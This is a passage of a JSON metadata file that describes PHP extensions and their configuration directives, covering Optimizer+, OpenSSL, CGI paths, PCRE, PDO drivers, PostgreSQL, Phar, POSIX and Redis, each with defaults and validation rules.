            "zend_optimizerplus.max_wasted_percentage": {
                "shortDescription": "The maximum percentage of \"wasted\" memory until a restart is scheduled.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "%",
                "validation": {
                    "minValue": 0,
                    "maxValue": 100,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.consistency_checks": {
                "shortDescription": "Check the cache checksum each N requests.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.force_restart_timeout": {
                "shortDescription": "Time duration (in seconds) for waiting for a scheduled restart to begin if the cache is not being accessed. ",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "180"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.preferred_memory_model": {
                "shortDescription": "Shared memory model to use.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.blacklist_filename": {
                "shortDescription": "The location of the Optimizer+ blacklist file.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.protect_memory": {
                "shortDescription": "Protect the shared memory from writing during script execution.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.save_comments": {
                "shortDescription": "If disabled, all PHPDoc comments are dropped from the code to reduce the size of the optimized code.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.fast_shutdown": {
                "shortDescription": "If enabled, a fast shutdown sequence is used for the accelerated code.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.optimization_level": {
                "shortDescription": "A bitmask, where each bit enables or disables the appropriate Optimizer+ passes.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0xfffffbbf"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.enable_slow_optimizations": {
                "shortDescription": "Enables or disables the optimization passes that may take a significant amount of time, based on an internal runtime calculation.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.enable_file_override": {
                "shortDescription": "Allow file existence caching.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "openssl": {
        "name": "openssl",
        "extensionId": "openssl",
        "isDaemon": 0,
        "shortDescription": "OpenSSL Library Interface",
        "longDescription": "This module uses the functions of >>OpenSSL for generation and verification of signatures and for sealing (encrypting) and opening (decrypting) data.\nNote:\nOpenSSL libraries must be installed in order for this extension to function.\nSee Appendix F - Loading the mod_ssl Module for more on enabling SSL Support on Apache.",
        "iniFileName": "openssl.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "openssl.cafile": {
                "shortDescription": "Location of a Certificate Authority file on the local file system",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "openssl.capath": {
                "shortDescription": "Suitable certificate directory",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "overload": {
        "name": "overload",
        "extensionId": "overload",
        "isDaemon": 0,
        "shortDescription": "The purpose of this extension is to allow overloading of object property access and method calls",
        "longDescription": "",
        "iniFileName": "overload.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "Paths and Directories": {
        "name": "Paths and Directories",
        "extensionId": "Paths and Directories",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Path and Directory Configuration Directives",
        "longDescription": "Path and Directory Configuration Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "include_path": {
                "shortDescription": "List of directories where PHP looks for files",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sys_temp_dir": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "doc_root": {
                "shortDescription": "Root directory of PHP on the server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "user_dir": {
                "shortDescription": "The base name of the directory used on a home directory for PHP file",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "extension_dir": {
                "shortDescription": "The directory in which PHP should look for dynamically loadable extensions",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cgi.force_redirect": {
                "shortDescription": "Provides security running PHP as a CGI under",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cgi.check_shebang_line": {
                "shortDescription": "Controls whether CGI PHP checks for line starting with #! (shebang) at the top of the running script",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cgi.nph": {
                "shortDescription": "Forces CGI to always send Status: 200 with every request",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cgi.redirect_status_env": {
                "shortDescription": "According to this status PHP knows it is OK to continue execution",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cgi.fix_pathinfo": {
                "shortDescription": "PATH_INFO\/PATH_TRANSLATED support for CGI",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fastcgi.logging": {
                "shortDescription": "Make logging to fastcgi's stderr optional",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fastcgi.impersonate": {
                "shortDescription": "Ability to impersonate security tokens of the calling client",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cgi.rfc2616_headers": {
                "shortDescription": "Type of headers to use when sending HTTP response code",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cgi.discard_path": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "windowspath": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "pcntl": {
        "name": "pcntl",
        "extensionId": "pcntl",
        "isDaemon": 0,
        "shortDescription": "Process Control Functions",
        "longDescription": "Process Control support in PHP implements the Unix style of process creation, program execution, signal handling and process termination. Process Control should not be enabled within a Webserver environment and unexpected results may happen if any Process Control functions are used within a Webserver environment.",
        "iniFileName": "pcntl.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pcre": {
        "name": "pcre",
        "extensionId": "pcre",
        "isDaemon": 0,
        "shortDescription": "Perl Compatible Regular Expressions",
        "longDescription": "The syntax for patterns used in these functions closely resembles Perl.",
        "iniFileName": "pcre.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "pcre.backtrack_limit": {
                "shortDescription": "PCRE's backtracking limit",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pcre.recursion_limit": {
                "shortDescription": "PCRE's recursion limit",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pcre.jit": {
                "shortDescription": "Enables or disables JIT compilation of patterns. This requires the PCRE library to be compiled with JIT support",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0",
                        "restrictions": [
                            {
                                "os": "darwin",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "PDO": {
        "name": "PDO",
        "extensionId": "pdo",
        "isDaemon": 0,
        "shortDescription": "Base PHP Data Objects(PDO) Driver",
        "longDescription": "This extension defines a lightweight, consistent interface for accessing databases in PHP. Each database driver that implements the PDO interface can expose database-specific features as regular extension functions.",
        "iniFileName": "pdo.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_dblib": {
        "name": "pdo_dblib",
        "extensionId": "pdo_dblib",
        "isDaemon": 0,
        "shortDescription": "FreeTDS PHP-MSSQL-Sybase DB Access",
        "longDescription": "PDO_DBLIB is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Microsoft SQL Server and Sybase databases through the FreeTDS libary.",
        "iniFileName": "pdo_dblib.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_firebird": {
        "name": "pdo_firebird",
        "extensionId": "pdo_firebird",
        "isDaemon": 0,
        "shortDescription": "Firebird\/Interbase PDO Driver",
        "longDescription": "",
        "iniFileName": "pdo_firebird.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_ibm": {
        "name": "pdo_ibm",
        "extensionId": "pdo_ibm",
        "isDaemon": 0,
        "shortDescription": "PHP-IBM DB Access",
        "longDescription": "PDO_IBM is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to IBM databases.",
        "iniFileName": "pdo_ibm.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_informix": {
        "name": "pdo_informix",
        "extensionId": "pdo_informix",
        "isDaemon": 0,
        "shortDescription": "PHP-Informix DB Access",
        "longDescription": "PDO_Informix is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Informix databases.",
        "iniFileName": "pdo_informix.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_mysql": {
        "name": "pdo_mysql",
        "extensionId": "pdo_mysql",
        "isDaemon": 0,
        "shortDescription": "MySQL DB Access",
        "longDescription": "The PDO_MYSQL is a driver that allows access to MySQL 3.x\/4.0 databases.",
        "iniFileName": "pdo_mysql.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "pdo_mysql.cache_size": {
                "shortDescription": "If mysqlnd is used: Number of cache slots for the internal result set cache",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pdo_mysql.default_socket": {
                "shortDescription": "Default socket name for local MySQL connects.  If empty, uses the built-in MySQL defaults",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "PDO_OCI": {
        "name": "PDO_OCI",
        "extensionId": "pdo_oci",
        "isDaemon": 0,
        "shortDescription": "OCI Library PHP-Oracle DB Access",
        "longDescription": "PDP_OCI is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Oracle databases through the OCI library.",
        "iniFileName": "pdo_oci.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "PDO_ODBC": {
        "name": "PDO_ODBC",
        "extensionId": "pdo_odbc",
        "isDaemon": 0,
        "shortDescription": "ODBC Drivers\/IBM DB2 CLI PHP-Database Access",
        "longDescription": "PDO_ODBC is a driver that enables access from PHP to different databases through ODBC drivers or through the IBM DB2 Call Level Interface (DB2 CLI) library.",
        "iniFileName": "pdo_odbc.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_pgsql": {
        "name": "pdo_pgsql",
        "extensionId": "pdo_pgsql",
        "isDaemon": 0,
        "shortDescription": "PostgreSQL DB Access",
        "longDescription": "PDO_PGSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to PostgreSQL databases.",
        "iniFileName": "pdo_pgsql.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_sqlite": {
        "name": "pdo_sqlite",
        "extensionId": "pdo_sqlite",
        "isDaemon": 0,
        "shortDescription": "SQLite DB Access",
        "longDescription": "PDO_SQLITE is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to SQLite databases.",
        "iniFileName": "pdo_sqlite.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pdo_sqlsrv": {
        "name": "pdo_sqlsrv",
        "extensionId": "pdo_sqlsrv",
        "isDaemon": 0,
        "shortDescription": "MySQL DB Access",
        "longDescription": "Microsoft SQL Server Driver for PHP.",
        "iniFileName": "pdo_sqlsrv.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "pdo_sqlsrv.client_buffer_max_kb_size": {
                "shortDescription": "The size of the buffer that holds the result set",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10240"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pdo_sqlsrv.log_severity": {
                "shortDescription": "The verbosity of the MySQL connects",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "perl": {
        "name": "perl",
        "extensionId": "perl",
        "isDaemon": 0,
        "shortDescription": "Perl Bridge",
        "longDescription": "",
        "iniFileName": "perl.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pgsql": {
        "name": "pgsql",
        "extensionId": "pgsql",
        "isDaemon": 0,
        "shortDescription": "PostgreSQL DB Access",
        "longDescription": "Provides access to the PostgreSQL databases.",
        "iniFileName": "pgsql.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "pgsql.allow_persistent": {
                "shortDescription": "Whether to allow persistent Postgres connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pgsql.max_persistent": {
                "shortDescription": "Maximum number of persistent PostgresSQL connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pgsql.max_links": {
                "shortDescription": "The maximum number of Postgres connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pgsql.auto_reset_persistent": {
                "shortDescription": "Detect broken persistent links with pg_pconnect()",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/on|off|^[0-9]*$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pgsql.ignore_notice": {
                "shortDescription": "Whether or not to ignore PostgreSQL backend notice messages",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "pgsql.log_notice": {
                "shortDescription": "Whether or not to log PostgreSQL backend notice messages. The PHP directive pgsql.ignore_notice must be off in order to log notice messages.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Phar": {
        "name": "Phar",
        "extensionId": "phar",
        "isDaemon": 0,
        "shortDescription": "PHP Archive",
        "longDescription": "This extension provides a way to put entire PHP applications into a single file called a \"phar\" (PHP Archive) for easy distribution and installation.",
        "iniFileName": "phar.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "phar.readonly": {
                "shortDescription": "This option disables creation or modification of Phar archives using the phar stream or Phar  object's write support",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "phar.require_hash": {
                "shortDescription": "This option will force all opened Phar archives to contain some kind of signature (currently MD5, SHA1, SHA256 and SHA512 are supported), and will refuse to process any Phar archive that does not contain a signature",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "phar.extract_list": {
                "shortDescription": "Allows mappings from a full path to a phar archive or its alias to the location of its extracted files",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "phar.cache_list": {
                "shortDescription": "Allows mapping phar archives to be pre-parsed at web server startup, providing a performance improvement that brings running files out of a phar archive very close to the speed of running those files from a traditional disk-based installation",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "posix": {
        "name": "posix",
        "extensionId": "posix",
        "isDaemon": 0,
        "shortDescription": "IEEE 1003.1(POSIX.1) Interface",
        "longDescription": "Contains an interface to those functions defined in the IEEE 1003.1 (POSIX.1) standards document which are not accessible through other means.\nWarning: Sensitive data can be retrieved with the POSIX functions, e.g. posix_getpwnam() and friends. None of the POSIX functions perform any kind of access checking when safe mode is enabled. It's therefore strongly advised to disable the POSIX extension.",
        "iniFileName": "posix.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "pspell": {
        "name": "pspell",
        "extensionId": "pspell",
        "isDaemon": 0,
        "shortDescription": "libspell-based Spell Checking",
        "longDescription": "These functions allow you to check the spelling of a word and offer suggestions.",
        "iniFileName": "pspell.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "rar": {
        "name": "rar",
        "extensionId": "rar",
        "isDaemon": 0,
        "shortDescription": "RAR Archives",
        "longDescription": "",
        "iniFileName": "rar.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "readline": {
        "name": "readline",
        "extensionId": "readline",
        "isDaemon": 0,
        "shortDescription": "Readline Editable Command Line",
        "longDescription": "",
        "iniFileName": "readline.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "redis": {
        "name": "redis",
        "extensionId": "redis",
        "isDaemon": 0,
        "shortDescription": "PHP extension for interfacing with Redis",
        "longDescription": "This extension provides an API for communicating with Redis, a data structure server where keys can contain strings, hashes, lists, sets and sorted sets.",
        "iniFileName": "redis.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "redis.arrays.autorehash": {
                "shortDescription": "Automate key migration when callback functions are passed to _rehash()",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.hosts": {
                "shortDescription": "Set host names for each array",
                "type": 1,
                "section": "",
